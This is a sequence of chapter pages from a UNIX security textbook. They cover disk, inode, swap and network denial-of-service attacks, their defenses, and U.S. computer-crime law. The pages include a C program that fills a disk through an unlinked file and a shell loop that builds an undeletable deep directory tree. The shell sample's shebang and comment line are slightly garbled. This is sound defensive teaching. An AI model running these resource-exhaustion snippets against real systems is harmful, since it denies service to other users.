In this example, the file /usr/tex/TeXdist.tar.Z is probably a candidate for deletion - especially if you have already unpacked the TeX distribution. The files /var/spool/mqueue/syslog and /var/spool/uucp/LOGFILE are also good candidates to delete, after saving them to tape or another disk.

25.2.2.2 quot command

The quot command lets you summarize filesystem usage by user; this program is available on some System V and on most Berkeley-derived systems. With the -f option, quot prints the number of files and the number of blocks used by each user:

# quot -f /dev/sd0a
/dev/sd0a (/):
53698  4434 root
 4487   294 bin
  681   155 hilda
  319   121 daemon
  123    25 uucp
   24     1 audit
   16     1 mailcmd
   16     1 news
    6     7 operator
#

You do not need to have disk quotas enabled to run the quot -f command.

NOTE: The quot -f command may lock the device while it is running. All other programs that need to access the device will be blocked until the quot -f command completes.

25.2.2.3 Inode problems

The UNIX filesystem uses inodes to store information about files. One way to make the disk unusable is to consume all of the free inodes on a disk, so no new files can be created. A person might inadvertently do this by creating thousands of empty files. This can be a perplexing problem to diagnose if you're not aware of the potential because the df command might show lots of available space, but attempts to create a file will result in a "no space" error. In general, each new file, directory, pipe, FIFO, or socket requires an inode on disk to describe it. If the supply of available inodes is exhausted, the system can't allocate a new file even if disk space is available.

You can tell how many inodes are free on a disk by issuing the df command with the -i option:

% df -o i /usr           >may be df -i on some systems
Filesystem             iused   ifree  %iused  Mounted on
/dev/dsk/c0t3d0s5      20100   89404    18%   /usr
%

The output shows that this disk has lots of inodes available for new files.

The number of inodes in a filesystem is usually fixed at the time you initially format the disk for use. The default created for the partition is usually appropriate for normal use, but you can override it to provide more or fewer inodes, as you wish. You may wish to increase this number for partitions in which you have many small files - for example, a partition to hold Usenet files (e.g., /var/spool/news). If you run out of inodes on a filesystem, about the only recourse is to save the disk to tape, reformat with more inodes, and then restore the contents.

25.2.2.4 Using partitions to protect your users

You can protect your system from disk attacks by dividing your hard disk into several smaller partitions. Place different users' home directories on different partitions. In this manner, if one user fills up one partition, users on other partitions won't be affected. (Drawbacks of this approach include needing to move directories to different partitions if they require more space, and an inability to hard-link files between some user directories.)

25.2.2.5 Using quotas

A more effective way to protect your system from disk attacks is to use the quota system that is available on most modern versions of UNIX. (Quotas are usually available as a build-time or run-time option on POSIX systems.)

With disk quotas, each user can be assigned a limit for how many inodes and how many disk blocks that user can use. There are two basic kinds of quotas:

  • Hard quotas are absolute limits on how many inodes and how much space the user may consume.

  • Soft quotas are advisory. Users are allowed to exceed soft quotas for a grace period of several days. During this time, the user is issued a warning whenever he or she logs into the system. After the final day, the user is not allowed to create any more files (or use any more space) without first reducing current usage.

A few systems also support a group quota, which allows you to set a limit on the total space used by a whole group of users. This can result in cases where one user can deny another the ability to store a file if they are in the same group, so it is an option you may not wish to use.

To enable quotas on your system, you first need to create the quota summary file. This is usually named quotas, and is located in the top-level directory of the disk. Thus, to set quotas on the /home partition, you would issue the following commands:[4]

[4] If your system supports group quotas, the file will be named something else, such as quotas.user or quotas.group.

# cp /dev/null /home/quotas
# chmod 600 /home/quotas
# chown root /home/quotas

You also need to mark the partition as having quotas enabled. You do this by changing the filesystem file in your /etc directory: depending on the system, this may be /etc/fstab, /etc/vfstab, /etc/checklist, or /etc/filesystems. If the option field is currently rw you will change it to rq; otherwise, you probably add the options parameter.[5] Then, you need to build the options tables on every disk. This process is done with the quotacheck -a command. (If your version of quotacheck takes the -p option, you may wish to use it to make the checks faster.) Note that if there are any active users on the system, this check may result in improper values. Thus, we advise that you reboot; the quotacheck command should run as part of the standard boot sequence and will check all the filesystems you enabled.

[5] This is yet another example of how non-standard UNIX has become, and why we have not given more examples of how to set up each and every system for each option we have explained. It is also a good illustration of why you should consult your vendor documentation to see how to interpret our suggestions appropriately for your release of the operating system.

Last of all, you can edit an individual user's quotas with the edquota command:

# edquota spaf

If you want to "clone" the same set of quotas to multiple users and your version of the command supports the -p option, you may do so by using one user's quotas as a "prototype":

# edquota -p spaf simsong beth kathy

You and your users can view quotas with the quota command; see your documentation for particular details.

25.2.2.6 Reserved space

Versions of UNIX that use a filesystem derived from the BSD Fast Filesystem (FFS) have an additional protection against filling up the disk: the filesystem reserves approximately 10% of the disk and makes it unusable by regular users. The reason for reserving this space is performance: the BSD Fast Filesystem does not perform as well if less than 10% of the disk is free. However, this restriction also prevents ordinary users from overwhelming the disk. The restriction does not apply to processes running with superuser privileges.

This "minfree" value (10%) can be set to other values when the partition is created. It can also be changed afterwards using the tunefs command, but setting it to less than 10% is probably not a good idea.

The Linux ext2 filesystem also allows you to reserve space on your filesystem. The amount of space that is reserved, 10% by default, can be changed with the tune2fs command.

25.2.2.7 Hidden space

Open files that are unlinked continue to take up space until they are closed. The space that these files take up will not appear with the du or find commands, because they are not in the directory tree; however, they will nevertheless take up space, because they are in the filesystem.

For example:

main()
{
        int ifd;
        char buf[8192];
        ifd = open("./attack", O_WRITE|O_CREAT, 0777);
        unlink("./attack");
        while (1)
            write (ifd, buf, sizeof(buf));
}

Files created in this way can't be found with the ls or du commands because the files have no directory entries.

To recover from this situation and reclaim the space, you must kill the process that is holding the file open. You may have to take the system into single-user mode and kill all processes if you cannot determine which process is to blame. After you've done this, run the filesystem consistency checker (e.g., fsck) to verify that the free list was not damaged during the shutdown operation.

You can more easily identify the program at fault by downloading a copy of the freeware lsof program from the net. This program will identify the processes that have open files, and the file position of each open file.[6] By identifying a process with an open file that has a huge current offset, you can terminate that single process to regain the disk space. After the process dies and the file is closed, all the storage it occupied is reclaimed.

[6] Actually, you should consider getting a copy of lsof for other reasons, too. It has an incredible number of other uses, such as determining which processes have open network connections and which processes have their current directories on a particular disk.

25.2.2.8 Tree-structure attacks

It is also possible to attack a system by building a tree structure that is made too deep to be deleted with the rm command. Such an attack could be caused by something like the following shell file:

$!/bin/ksh
$
$
Don't try this at home!
while mkdir anotherdir
do
        cd ./anotherdir
        cp /bin/cc fillitup
done

On some systems, rm -r cannot delete this tree structure because the directory tree overflows either the buffer limits used inside the rm program to represent filenames or the number of open directories allowed at one time.

You can almost always delete a very deep set of directories by manually using the chdir command from the shell and going to the bottom of the tree, then deleting the files and directories one at a time. This process can be very tedious. Unfortunately, some UNIX systems do not let you chdir to a directory described by a path that contains more than a certain number of characters.

Another approach is to use a script similar to the one in Example 25-1:

Example 25.1: Removing Nested Directories

#!/bin/ksh

if (( $# != 1 ))
then
    print -u2 "usage: $0 <dir>"
    exit 1
fi

typeset -i index=1 dindex=0
typeset t_prefix="unlikely_fname_prefix" fname=$(basename $1)

cd $(dirname "$1")         # go to the directory containing the problem

while (( dindex < index ))
do
    for entry in $(ls -1a "$fname")
    do
      [[ "$entry" == @(.|..) ]] && continue
      if [[ -d "$fname/$entry" ]]
      then
          rmdir - "$fname/$entry" 2>/dev/null && continue
          mv "$fname/$entry" ./$t_prefix.$index
          let index+=1
      else
          rm -f - "$fname/$entry"
      fi
    done
    rmdir "$fname"
    let dindex+=1
    fname="$t_prefix.$dindex"
done

What this method does is delete the nested directories starting at the top. It deletes any files at the top level, and moves any nested directories up one level to a temporary name. It then deletes the (now empty) top-level directory and begins anew with one of the former descendent directories. This process is slow, but it will work on almost any version of UNIX.

The only other way to delete such a directory on one of these systems is to remove the inode for the top-level directory manually, and then use the fsck command to erase the remaining directories. To delete these kinds of troubling directory structures this way, follow these steps:

  1. Take the system to single-user mode.

  2. Find the inode number of the root of the offending directory.

    # ls -i anotherdir
1491 anotherdir
#

  3. Use the df command to determine the device of the offending directory:

    # /usr/bin/df anotherdir
/g17            (/dev/dsk/c0t2d0s2 ):  377822 blocks   722559 files
#

  4. Clear the inode associated with that directory using the clri program:[7]

    [7] The clri command can be found in /usr/sbin/clri on Solaris systems. If you are using SunOS, use the unlink command instead.

    # clri /dev/dsk/c0t2d0s2 1491
#

    (Remember to replace /dev/dsk/c0t2d0s2 with the name of the actual device reported by the df command.)

  5. Run your filesystem consistency checker (for example, fsck /dev/dsk/cot2dos2) until it reports no errors. When the program tells you that there is an unconnected directory with inode number 1491 and asks you if you want to reconnect it, answer "no." The fsck program will reclaim all the disk blocks and inodes used by the directory tree.

If you are using the Linux ext2 filesystem, you can delete an inode using the debugfs command. It is important that the filesystem be unmounted before using the debugfs command.

25.2.3 Swap Space Problems

Most UNIX systems are configured with some disk space for holding process memory images when they are paged or swapped out of main memory.[8] If your system is not configured with enough swap space, then new processes, especially large ones, will not be run because there is no swap space for them. This failure often results in the error message "No space" when you attempt to execute a command.

[8] Swapping and paging are technically two different activities. Older systems swapped entire process memory images out to secondary storage; paging removes only portions of programs at a time. The use of the word "swap" has become so commonplace that most UNIX users use the word "swap" for both swapping and paging, so we will too.

If you run out of swap space because processes have accidentally filled up the available space, you can increase the space you've allocated to backing store. On SVR4 or the SunOS system, this increase is relatively simple to do, although you must give up some of your user filesystem. First, find a partition with some spare storage:

# /bin/df -ltk
Filesystem            kbytes      used   avail capacity  Mounted on
/dev/dsk/c0t3d0s0        95359     82089    8505     91%     /
/proc                      0         0       0      0%     /proc
/dev/dsk/c0t1d0s2     963249    280376  634713    31%    /user2
/dev/dsk/c0t2d0s0    1964982   1048379  720113    59%    /user3
/dev/dsk/c0t2d0s6    1446222    162515 1139087    12%    /user4
#

In this case, partition /user4 appears to have lots of spare room. You can create an additional 50 Mb of swap space on this partition with this command sequence on Solaris systems:

# mkfile 50m /user4/junkfile
# swap -a /user4/junkfile

On SunOS systems, type:

# mkfile 50m /user4/junkfile
# swapon /user4/junkfile

You can add this to the vfstab if you want the swap space to be available across reboots. Otherwise, remove the sequence as a swap device (swap -d /user4/junkfile) and then delete the file.

Correcting a shortage of swap space on systems that do not support swapping to files (such as most older versions of UNIX) usually involves shutting down your computer and repartitioning your hard disk.

If a malicious user has filled up your swap space, a short-term approach is to identify the offending process or processes and kill them. The ps command shows you the size of every executing process and helps you determine the cause of the problem. The vmstat command, if you have it, can also provide valuable process state information.

25.2.4 /tmp Problems

Most UNIX systems are configured so that any user can create files of any size in the /tmp directory. Normally, there is no quota checking enabled in the /tmp directory. Consequently, a single user can fill up the partition on which the /tmp directory is mounted, so that it will be impossible for other users (and possibly the superuser) to create new files.

Unfortunately, many programs require the ability to store files in the /tmp directory to function properly. For example, the vi and mail programs both store temporary files in /tmp. These programs will unexpectedly fail if they cannot create their temporary files. Many locally written system administration scripts rely on the ability to create files in the /tmp directory, and do not check to make sure that sufficient space is available.

Problems with the /tmp directory are almost always accidental. A user will copy a number of large files there, and then forget them. Perhaps many users will do this.

In the early days of UNIX, filling up the /tmp directory was not a problem. The /tmp directory is automatically cleared when the system boots, and early UNIX computers crashed a lot. These days, UNIX systems stay up much longer, and the /tmp directory often does not get cleaned out for days, weeks, or months.

There are a number of ways to minimize the danger of /tmp attacks:

  • Enable quota checking on /tmp, so that no single user can fill it up. A good quota is to allow each user to take up 40% of the space in /tmp. Thus, filling up /tmp will, under the best circumstances, require collusion between more than two users.

  • Have a process that monitors the /tmp directory on a regular basis and alerts the system administrator if it is nearly filled.

As the superuser, you might also want to sweep through the /tmp directory on a periodic basis and delete any files that are more than three or five days old:[9]

[9] Beware that this command may be vulnerable to the filename attacks described in Chapter 11.

# find /tmp -mtime +5 -print | xargs rm -rf

This line is a simple addition to your crontab for nightly execution.

25.2.5 Soft Process Limits: Preventing Accidental Denial of Service

Most modern versions of UNIX allow you to set limits on the maximum amount of memory or CPU time a process can consume, as well as the maximum file size it can create. These limits are handy if you are developing a new program and do not want to accidentally make the machine very slow or unusable for other people with whom you're sharing.

The Korn shell ulimit and C shell limit commands display the current process limits:

$ ulimit -Sa           -H for hard limits, -S for soft limits
time(seconds) 							unlimited
file(blocks) 						unlimited
data(kbytes) 						2097148 kbytes
stack(kbytes) 						8192 kbytes
coredump(blocks) 						unlimited
nofiles(descriptors) 	64
vmemory(kbytes) 						unlimited
$

These limits have the following meanings:

time

Maximum number of CPU seconds your process can consume.

file

Maximum file size that your process can create, reported in 512-byte blocks.

data

Maximum amount of memory for data space that your process can reference.

stack

Maximum stack your process can consume.

coredump

Maximum size of a core file that your process will write; setting this value to 0 prevents you from writing core files.

nofiles

Number of file descriptors (open files) that your process can have.

vmemory

Total amount of virtual memory your process can consume.

You can also use the ulimit command to change a limit. For example, to prevent any future process you create from writing a data file longer than 5000 Kilobytes, execute the following command:

$ ulimit -Sf 10000
$ ulimit -Sa
time(seconds) 				unlimited
file(blocks) 			10000
data(kbytes) 			2097148 kbytes
stack(kbytes) 			8192 kbytes
coredump(blocks) 			unlimited
nofiles(descriptors) 	64
vmemory(kbytes) 			unlimited
$

To reset the limit, execute this command:

$ ulimit -Sf unlimited
$ ulimit -Sa
ctime(seconds) 				unlimited
file(blocks) 			unlimited
data(kbytes) 			2097148 kbytes
stack(kbytes) 			8192 kbytes
coredump(blocks) 			unlimited
nofiles(descriptors) 	64
vmemory(kbytes) 			unlimited
$

Note that if you set the hard limit, you cannot increase it again unless you are currently the superuser. This limit may be handy to use in a system-wide profile to limit all your users.

Previous: 25.1 Destructive Attacks | Practical UNIX & Internet Security | Next: 25.3 Network Denial of Service Attacks
25.1 Destructive Attacks | Book Index | 25.3 Network Denial of Service Attacks


[Chapter 25] 25.3 Network Denial of Service Attacks

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 25.2 Overload Attacks Chapter 25
Denial of Service Attacks and Solutions 		Next: 26. Computer Security and U.S. Law

25.3 Network Denial of Service Attacks

Networks are also vulnerable to denial of service attacks. In attacks of this kind, someone prevents legitimate users from using the network. The three common types of network denial of service attacks are service overloading, message flooding, and signal grounding. A fourth kind of attack is less common, but possible, and we describe it as clogging.

25.3.1 Service Overloading

Service overloading occurs when floods of network requests are made to a server daemon on a single computer. These requests can be initiated in a number of ways, many intentional. The result of these floods can cause your system to be so busy servicing interrupt requests and network packets that it is unable to process regular tasks in a timely fashion. Many requests will be thrown away as there is no room to queue them. If it is a TCP-based service, they will be resent and will add to the load. Such attacks can also mask an attack on another machine by preventing audit records and remote login requests from being processed in a timely manner. They deny access to a particular service.

You can use a network monitor to reveal the type, and sometimes the origin, of overload attacks. If you have a list of machines and the low-level network address (i.e., Ethernet board-level address, not IP address) this may help you track the source of the problem if it is local to your network. Isolating your local subnet or network while finding the problem may also help. If you have logging on your firewall or router, you can quickly determine if the attack is coming from outside your network or inside[10] - you cannot depend on the IP address in the packet being correct.

[10] We are unaware of any firewall offering reliable protection against denial of service attacks of this kind.

Unfortunately, there is little that you, as an end user or administrator, can do to help make the protocols and daemons more robust in the face of such attacks. The best you can hope to do, at present, is to limit their effect. Partitioning your local network into subnets of only a few dozen machines each is one good approach. That way, if one subnet gets flooded as part of an attack or accident, not all of your machines are disabled.

Another action you can take is to prepare ahead of time for an attack. If you have the budget, buy a network monitor and have (protected) spare taps on your subnet so you can quickly hook up and monitor network traffic. Have printed lists of machine low-level and high-level addresses available so you can determine the source of the overload by observing packet flow.

One partial help is if the service being attacked is spawned from the inetd with the nowait option. inetd, by default, has a "throttle" built in. If too many requests are received in too short a time for any of the services it monitors, it will start rejecting requests and syslog a message that the service is failing. This is done under the assumption that some bug has been triggered to cause all the traffic. This has the side-effect of disabling your service as surely as if all the requests were accepted for processing. However, it may prevent the server itself from failing, and it results in an audit record showing when the problem occurred.

25.3.2 Message Flooding

Message flooding occurs when a user slows down the processing of a system on the network to prevent the system from processing its normal workload, by "flooding" the machine with network messages addressed to it. These may be requests for file service or login, or they may be simple echo-back requests. Whatever the form, the flood of messages overwhelms the target so it spends most of its resources responding to the messages. In extreme cases, this flood may cause the machine to crash with errors or lack of memory to buffer the incoming packets. This attack denies access to a network server.

A server that is being flooded may not be able to respond to network requests in a timely manner. An attacker can take advantage of this behavior by writing a program that answers network requests in the server's place. For example, an attacker could flood an NIS server and then issue his own replies for NIS requests - specifically, requests for passwords.

Suppose an attacker writes a program that literally bombards an NIS server machine with thousands of echo requests every second directed to the echo service. The attacker simultaneously attempts to log into a privileged account on a workstation. The workstation would request the NIS passwd information from the real server, which would be unable to respond quickly because of the flood. The attacker's machine could then respond, masquerading as the server, and supply bogus information, such as a record with no password. Under normal circumstances, the real server would notice this false packet and repudiate it. However, if the server machine is so loaded that it never receives the packet, or fails to receive it in a timely fashion, it cannot respond. The client workstation would believe the false response to be correct and process the attacker's login attempt with the false passwd entry.[11]

[11] Yes, we are leaving out some low-level details here. This form of masquerade is not as simple as we describe it, but it is possible.

A similar type of attack is a broadcast storm. By careful crafting of network messages, you can create a special message that instructs every computer receiving the message to reply or retransmit it. The result is that the network becomes saturated and unusable. Broadcast storms rarely result from intentional attack; more often, they result from failing hardware or from software that is under development, buggy, or improperly installed.

Broadcasting incorrectly formatted messages can also bring a network of machines to a grinding halt. If each machine is configured to log the reception of bad messages to disk or console, they could broadcast so many messages that the clients can do nothing but process the errors and log them to disk or console.

Again, preparing ahead with a monitor and breaking your network into subnets will help you prevent and deal with this kind of problem, although such planning will not eliminate the problem completely.

25.3.3 Signal Grounding

Physical methods can also be used to disable a network. Grounding the signal on a network cable, introducing some other signal, or removing an Ethernet terminator all have the effect of preventing clients from transmitting or receiving messages until the problem is fixed. This type of attack can be used not only to disable access to various machines that depend on servers to supply programs and disk resources, but also to mask break-in attempts on machines that report bad logins or other suspicious behavior to master machines across the network. For this reason, you should be suspicious of any network outage; it might be masking break-ins on individual machines.

Another method of protection, which also helps to reduce the threat of eavesdropping, is to protect the network cable physically from tapping. This protection reduces the threat of eavesdroppers and spoofers to well-defined points on the cable. It also helps reduce the risk of denial of service attacks from signal grounding. Chapter 12, Physical Security, discusses the physical protection of networks.

25.3.4 Clogging

The implementation of the TCP/IP protocols on many versions of UNIX allow them to be abused in various ways. To deny service, one way is to use up the limit of partially open connections. TCP connections open on a multi-way handshake to open a connection and set parameters. If an attacker sends multiple requests to initiate a connection but then fails to follow through with the subsequent parts of the connection, the recipient will be left with multiple half-open connections that are occupying limited resources. Usually, these connection requests have forged source addresses that specify nonexistent or unreachable hosts that cannot be contacted. Thus, there is also no way to trace the connections back. They remain until they time out (or until they are reset by the intruder).

By analogy, consider what happens when your phone rings. You answer and say "hello" but no one responds. You wait a few seconds, then say "hello" again. You may do this one or two more times until you "time out" and hang up. However, during the time you are waiting for someone to answer your "hello" (and there may be no one there), the phone line is tied up and can process no other incoming calls.

There is little you can do in these situations. Modifications to the operating system sources could result in a tunable time-out, better logging of these problems, and a higher limit on the number of half-open connections allowed before new requests are rejected. However, these modifications are not simple to make.

Firewalls generally do not address this problem either. The best you can achieve is to reject connection attempts from unknown hosts and networks at the firewall. The only other alternative is to rethink the protocols involved, and perhaps set much higher limits on the existing implementations. However, any finite limit can be exceeded. Networks based on virtual circuits (e.g., ATM) may provide a solution by bypassing the protocol problems completely. However, ATM and related technologies probably have their own set of vulnerabilities that we have yet to discover.

Previous: 25.2 Overload Attacks | Practical UNIX & Internet Security | Next: 26. Computer Security and U.S. Law
25.2 Overload Attacks | Book Index | 26. Computer Security and U.S. Law


[Chapter 26] Computer Security and U.S. Law

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 25.3 Network Denial of Service Attacks Chapter 26 Next: 26.2 Criminal Prosecution

26. Computer Security and U.S. Law

Contents:
Legal Options After a Break-in
Criminal Prosecution
Civil Actions
Other Liability

You may have studied this book diligently and taken every reasonable step toward protecting your system, yet someone still abused it. Perhaps an ex-employee has broken in through an old account and has deleted some records. Perhaps someone from outside continues to try to break into your system despite warnings that they should stop. What recourse do you have through the courts? Furthermore, what are some of the particular dangers you may face from the legal system during the normal operation of your computer system? What happens if you are the target of legal action?

This chapter attempts to illuminate some of these issues. The material we present should be viewed as general advice, and not as legal opinion: for that, you should contact good legal counsel and have them advise you.

26.1 Legal Options After a Break-in

You have a variety of different recourses under the U.S. legal system for dealing with a break-in. A brief chapter such as this one cannot advise you on the subtle aspects of the law. Every situation is different. Furthermore, there are differences between state and Federal law, as well as different laws that apply to computer systems used for different purposes. Laws outside the U.S. vary considerably from jurisdiction to jurisdiction; we won't attempt to explain anything beyond the U.S. system.[1]

[1] An excellent discussion of legal issues in the U.S. can be found in Computer Crime: A Crimefighter's Handbook (O'Reilly & Associates. 1995), and we suggest you start there if you need more explanation than we provide in this chapter.

You should discuss your specific situation with a competent lawyer before pursuing any legal recourse. As there are difficulties and dangers associated with legal approaches, you should also be sure that you want to pursue this course of action before you go ahead.

In some cases, you may have no choice; you may be required to pursue legal means. For example:

  • If you want to file a claim against your insurance policy to receive money for damages resulting from a break-in, you may be required by your insurance company to pursue criminal or civil actions against the perpetrators.

  • If you are involved with classified data processing, you may be required by government regulations to report and investigate suspicious activity.

  • If you are aware of criminal activity and you do not report it (and especially if your computer is being used for that activity), you may be criminally liable as an accessory.

  • If your computer is being used for certain forms of unlawful or inappropriate activity and you do not take definitive action, you may be named as a defendant in a civil lawsuit seeking punitive damages for that activity.

  • If you are an executive and decide not to investigate and prosecute illegal activity, shareholders in your corporation can bring suit against you.

If you believe that your system is at risk, you should probably seek legal advice before a break-in actually occurs. By doing so, you will know ahead of time the course of action to take if an incident occurs.

To give you some starting points for discussion, this chapter provides an overview of the two primary legal approaches you can employ, and some of the features and difficulties that accompany each one.

Previous: 25.3 Network Denial of Service Attacks | Practical UNIX & Internet Security | Next: 26.2 Criminal Prosecution
25.3 Network Denial of Service Attacks | Book Index | 26.2 Criminal Prosecution


[Chapter 26] 26.2 Criminal Prosecution

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 26.1 Legal Options After a Break-in Chapter 26
Computer Security and U.S. Law 		Next: 26.3 Civil Actions

26.2 Criminal Prosecution

You are free to contact law-enforcement personnel any time you believe that someone has broken a criminal statute. You start the process by making a formal complaint to a law-enforcement agency. A prosecutor will likely decide if the allegations should be investigated and what (if any) charges should be filed.

In some cases (perhaps a majority of them), criminal investigation will not help your situation. If the perpetrators have left little trace of their activity and the activity is not likely to recur, or if the perpetrators are entering your system through a computer in a foreign country, you are not likely to trace or arrest the individuals involved. Many experienced computer intruders will leave little tracing evidence behind.[2]

[2] Although few computer intruders are as clever as they believe themselves to be.

There is no guarantee that a criminal investigation will ever result from a complaint that you file. The prosecutor involved (Federal, state, or local) will need to decide which, if any, laws have been broken, the seriousness of the crime, the availability of trained investigators, and the probability of a conviction. Remember that the criminal justice system is very overloaded; new investigations are started only for very severe violations of the law or for cases that warrant special treatment. A case in which $200,000 worth of data is destroyed is more likely to be investigated than is a case in which someone is repeatedly trying to break the password of your home computer.

Investigations can also place you in an uncomfortable and possibly dangerous position. If unknown parties are continuing to break into your system by remote means, law-enforcement authorities may ask you to leave your system open, thus allowing the investigators to trace the connection and gather evidence for an arrest. Unfortunately, if you leave your system open after discovering that it is being misused, and the perpetrator uses your system to break into or damage another system elsewhere, you may be the target of a third-party lawsuit. Cooperating with law-enforcement agents is not a sufficient shield from such liability. Before putting yourself at risk in this way, you should discuss alternatives with your lawyer.

26.2.1 The Local Option

One of the first things you must decide is to whom you should report the crime. Usually, you should deal with local or state authorities, if at all possible. Every state currently has laws against some sort of computer crime. If your local law-enforcement personnel believe that the crime is more appropriately investigated by the Federal government, they will suggest that you contact Federal authorities.

You cannot be sure whether your problem will receive more attention from local authorities or from Federal authorities. Local authorities may be more responsive because you are not as likely to be competing with a large number of other cases (as frequently occurs at the Federal level). Local authorities may also be more likely to be interested in your problems, no matter how small the problems may be. At the same time, local authorities may be reluctant to take on high-tech investigations where they have little expertise.[3] Many Federal agencies have expertise that can be brought in quickly to help deal with a problem. One key difference is that investigation and prosecution of juveniles is more likely to be done by state authorities than by Federal authorities.

[3] Although in some venues, there are very experienced local law-enforcement officers, and they may be more experienced than a typical Federal officer.

Some local law-enforcement agencies may be reluctant to seek outside help or to bring in Federal agents. This may keep your particular case from being investigated properly.

In many areas, because the local authorities do not have the expertise or background necessary to investigate and prosecute computer-related crimes, you may find that they must depend on you for your expertise. In many cases, you will be involved with the investigation on an ongoing basis - possibly to a great extent. You may or may not consider this a productive use of your time.

Our best advice is to contact local law enforcement before any problem occurs, and get some idea of their expertise and willingness to help you in the event of a problem. The time you invest up front could pay big dividends later on if you need to decide who to call at 2 a.m. on a holiday because you have found evidence that someone is making unauthorized use of your system.

26.2.2 Federal Jurisdiction

Although you might often prefer to deal with local authorities, you should contact Federal authorities if you:

  • Are working with classified or military information

  • Have involvement with nuclear materials or information

  • Work for a Federal agency and its equipment is involved

  • Work for a bank or handle regulated financial information

  • Are involved with interstate telecommunications

  • Believe that people from out of the state or out of the country are involved with the crime

Offenses related to national security, fraud, or telecommunications are usually handled by the FBI. Cases involving financial institutions, stolen access codes, or passwords are generally handled by the U.S. Secret Service. However, other Federal agents may also have jurisdiction in some cases; for example, the Customs Department, the U.S. Postal Service, and the Air Force Office of Investigations have all been involved in computer-related criminal investigations.

Luckily, you don't need to determine jurisdiction on your own. If you believe that a Federal law has been violated in your incident, call the nearest U.S. Attorney's office and ask them who you should contact. Often, that office will have the name and contact information for a specific agent, or office in which the personnel have special training in investigating computer-related crimes.

26.2.3 Federal Computer Crime Laws

There are many Federal laws that can be used to prosecute computer-related crimes. Usually, the choice of law pertains to the type of crime, rather than whether the crime was committed with a computer, a phone, or pieces of paper. Depending on the circumstances, laws relating to wire fraud, espionage, or criminal copyright violation may come into play.

Some likely laws that might be used in prosecution include:

18 U.S.C. 646

Embezzlement by a bank employee.

18 U.S.C. 793

Gathering, transmitting, or losing defense information.

18 U.S.C. 912

Impersonation of a government employee to obtain a thing of value.

18 U.S.C. 1005

False entries in bank records.

18 U.S.C. 1006

False entries in credit institution records.

18 U.S.C. 1014

False statements in loan and credit applications.

18 U.S.C. 1029

Credit Card Fraud Act of 1984.

18 U.S.C. 1030

Computer Fraud and Abuse Act.

18 U.S.C. 1343

Wire fraud (use of phone, wire, radio, or television transmissions to further a scheme to defraud).

18 U.S.C. 1361

Malicious mischief to government property.

18 U.S.C. 2071

Concealment, removal, or mutilation of public records.

18 U.S.C. 2314

Interstate transportation of stolen property.

18 U.S.C. 2319

Willful infringement of a copyright for profit.

18 U.S.C. 2701-2711

Electronic Communications Privacy Act.

Privacy and the Electronic Communications Privacy Act

Passed in 1986, the Electronic Communications Privacy Act (ECPA) was intended to provide the same security for electronic mail as users of the U.S. Postal Service enjoy. In particular, the ECPA defines as a felony, under certain circumstances, reading other people's electronic mail. The ECPA also details the circumstances under which information may be turned over to Federal agents.

To date, there has not been enough prosecution under the ECPA to determine whether this law has met its goal. The law appears to provide some protection for systems carrying mail and for mail files, but the law does not clearly provide protection to every system. If your system uses or supports electronic mail, consult with your attorney to determine how the law might affect you and your staff.

In the coming years, we fully expect new laws to be passed governing crime on networks and malicious mischief on computers. We also expect some existing laws to be modified to extend coverage to certain forms of data used on computers. Luckily, you don't need to carefully track each and every piece of legislation in force (unless you really want to): the decision about which laws to use, if any, will be up to the U.S. Attorney for your district.

26.2.4 Hazards of Criminal Prosecution

There are many potential problems in dealing with law-enforcement agencies, not the least of which is their lack of experience with computer criminal-related investigations. Sadly, there are still many Federal agents who are not well versed with computers and computer crime. In most local jurisdictions, there may be even less expertise. Your case will be probably be investigated by an agent who has little or no training in computing.

Computer-illiterate agents will sometimes seek your assistance and try to understand the subtleties of the case. Other times, they will ignore helpful advice - perhaps to hide their own ignorance - often to the detriment of the case and to the reputation of the law-enforcement community.

If you or your personnel are asked to assist in the execution of a search warrant, to help identify material to be searched, be sure that the court order directs such "expert" involvement. Otherwise, you may find yourself complicating the case by appearing as an overzealous victim. You will usually benefit by recommending an impartial third party to assist the law-enforcement agents.

The attitude and behavior of the law-enforcement officers can cause you major problems. Your equipment might be seized as evidence, or held for an unreasonable length of time for examination. If you are the victim and are reporting the case, the authorities will usually make every attempt to coordinate their examinations with you, to cause you the least amount of inconvenience. However, if the perpetrators are your employees, or if regulated information is involved (bank, military, etc.), you might have no control over the manner or duration of the examination of your systems and media. This problem becomes more severe if you are dealing with agents who need to seek expertise outside their local offices to examine the material. Be sure to keep track of downtime during an investigation as it may be included as part of the damage during prosecution and any subsequent civil suit.

An investigation is another situation in which backups can be extremely valuable. You might even make use of your disaster-recovery plan, and use a standby or spare site while your regular system is being examined.

Heavy-handed or inept investigative efforts may also place you in an uncomfortable position with respect to the computer community. Attitudes directed toward law-enforcement officers can easily be redirected toward you. Such attitudes can place you in a worse light than you deserve, and may hinder not only cooperation with the current investigation, but also with other professional activities. Furthermore, they may make you a target for electronic attack or other forms of abuse after the investigation concludes. These attitudes are unfortunate, because there are some very good investigators, and careful investigation and prosecution may be needed to stop malicious or persistent intruders.

For these reasons, we encourage you to carefully consider the decision to involve law-enforcement agencies with any security problem pertaining to your system. In most cases, we suggest that you may not want to involve the criminal justice system at all unless a real loss has occurred, or unless you are unable to control the situation on your own. In some instances, the publicity involved in a case may be more harmful than the loss you have sustained. However, be aware that the problem you spot may be part of a much larger problem that is ongoing or beginning to develop. You may be risking further damage and delay if you decide to ignore the situation.

We wish to stress the positive. Law-enforcement agencies are aware of the need to improve how they investigate computer crime cases, and they are working to develop in-service training, forensic analysis facilities, and other tools to help them conduct effective investigations. In many jurisdictions (especially in high-tech areas of the country), investigators and prosecutors have gained considerable experience and have worked to convey that information to their peers. The result is a significant improvement in law enforcement effectiveness over the last few years, with a number of successful investigations and prosecutions. You should very definitely think about the positive aspects of reporting a computer crime - not only for yourself, but for the community as a whole. Successful prosecutions may help dissuade further misuse of your system and of others' systems.

26.2.5 If You or One of Your Employees Is a Target of an Investigation...

If law-enforcement officials believe that your computer system has been used by an employee to break into other computer systems, to transmit or store controlled information (trade secrets, child pornography, etc.), or to otherwise participate in some computer crime, you may find your computers impounded by a search warrant (criminal cases) or writ of seizure (civil cases). If you can document that your employee has had limited access to your systems, and if you present that information during the search, it may help limit the scope of the confiscation. However, you may still be in a position in which some of your equipment is confiscated as part of a legal search.

